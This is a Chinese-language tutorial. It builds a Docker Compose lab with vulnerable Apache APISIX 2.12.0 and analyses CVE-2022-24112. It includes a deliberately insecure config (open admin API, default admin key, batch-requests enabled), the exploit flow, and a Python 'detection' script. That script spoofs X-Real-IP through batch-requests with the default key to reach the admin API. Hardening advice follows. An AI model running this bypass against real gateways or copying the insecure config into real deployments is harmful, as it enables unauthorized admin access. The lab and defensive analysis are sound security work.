基于Docker Compose的APISIX 2.12.0靶场构建与CVE-2022-24112漏洞深度解析
在网络安全研究和渗透测试领域,快速搭建可复现的漏洞环境是每个安全从业者的必备技能。本文将详细介绍如何使用Docker Compose一键部署APISIX 2.12.0靶场环境,并深入分析CVE-2022-24112漏洞的原理与验证方法。
1. 环境准备与Docker Compose配置
构建一个完整的APISIX靶场环境需要包含以下组件:
- APISIX 2.12.0主服务
- etcd配置存储
- APISIX Dashboard管理界面
- 辅助的Nginx上游服务
1.1 项目目录结构
建议采用以下目录结构组织配置文件:
apisix-lab/ ├── apisix_conf/ │ └── config.yaml ├── dashboard_conf/ │ └── conf.yaml ├── upstream/ │ ├── web1.conf │ └── web2.conf ├── apisix_log/ ├── docker-compose.yml └── scripts/ └── check_vulnerability.py1.2 Docker Compose核心配置
以下是优化后的docker-compose.yml文件:
version: "3.8" services: apisix: image: apache/apisix:2.12.0-alpine ports: - "9080:9080" - "9091:9091" - "9443:9443" volumes: - ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro - ./apisix_log:/usr/local/apisix/logs depends_on: - etcd networks: - apisix-net etcd: image: bitnami/etcd:3.4.15 environment: ETCD_ENABLE_V2: "true" ALLOW_NONE_AUTHENTICATION: "yes" volumes: - etcd_data:/bitnami/etcd networks: - apisix-net dashboard: image: apache/apisix-dashboard:2.10.1-alpine ports: - "9000:9000" volumes: - ./dashboard_conf/conf.yaml:/usr/local/apisix-dashboard/conf/conf.yaml networks: - apisix-net networks: apisix-net: driver: bridge volumes: etcd_data:关键配置说明:
- APISIX服务:暴露9080(HTTP)、9091(控制)和9443(HTTPS)端口
- etcd:使用v2和v3 API,禁用认证简化测试
- Dashboard:提供Web管理界面,默认端口9000
2. APISIX核心配置解析
config.yaml是APISIX的核心配置文件,漏洞相关配置如下:
apisix: node_listen: 9080 allow_admin: - 0.0.0.0/0 # 允许任意IP访问管理API admin_key: - name: "admin" key: edd1c9f034335f136f87ad84b625c8f1 # 默认API密钥 role: admin plugins: - batch-requests # 默认启用的漏洞插件安全风险点:
allow_admin开放了管理API的访问权限- 使用了默认的admin_key未作修改
batch-requests插件存在IP校验绕过漏洞
3. CVE-2022-24112漏洞原理深度分析
该漏洞源于APISIX的batch-requests插件对IP地址校验的逻辑缺陷,攻击者可利用此漏洞:
- 绕过IP限制:通过构造特殊的
X-Real-IP头部欺骗IP检查 - 滥用管理API:利用默认API密钥执行管理员操作
- 远程代码执行:通过创建恶意路由注入Lua代码
3.1 漏洞利用流程
| 步骤 | 操作 | 技术细节 |
|---|---|---|
| 1 | 发送批量请求 | 使用batch-requests插件端点 |
| 2 | 设置X-Real-IP | 绕过IP限制检查 |
| 3 | 创建恶意路由 | 包含filter_func的Lua代码 |
| 4 | 触发路由执行 | 访问恶意路由路径 |
3.2 漏洞检测脚本
以下Python脚本可检测系统是否存在此漏洞:
import requests def check_vulnerability(target): headers = { 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1', 'Content-Type': 'application/json' } payload = { "headers": {"X-Real-IP": "127.0.0.1"}, "pipeline": [{ "method": "GET", "path": "/apisix/admin/routes", "body": "" }] } try: response = requests.post( f"http://{target}/apisix/batch-requests", json=payload, headers=headers, timeout=5 ) return response.status_code == 200 and "routes" in response.text except Exception: return False4. 漏洞验证与防御措施
4.1 手动验证步骤
启动环境:
docker-compose up -d检查服务状态:
docker-compose ps使用检测脚本验证:
python3 scripts/check_vulnerability.py localhost:9080
4.2 安全加固建议
立即措施:
- 修改默认的admin_key
- 限制admin API的访问IP
- 禁用batch-requests插件
长期方案:
- 升级到APISIX 2.12.1或更高版本
- 实施网络层访问控制
- 启用审计日志监控管理API操作
5. 漏洞研究与学习进阶
对于希望深入理解此漏洞的安全研究者,建议:
- 分析补丁代码:比较修复前后的插件实现差异
- 构建变异测试:尝试不同的IP伪造技术
- 开发检测规则:编写Suricata/Snort规则检测攻击尝试
在测试环境中,可以通过以下命令快速检查当前APISIX版本:
curl -i http://localhost:9080/apisix/admin/routes -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'实际测试中发现,即使修改了admin_key,如果未正确配置IP限制,攻击者仍可能通过其他方式绕过防护。这种深度防御的缺失在API网关类产品中尤为危险,因为它们在架构中处于关键位置。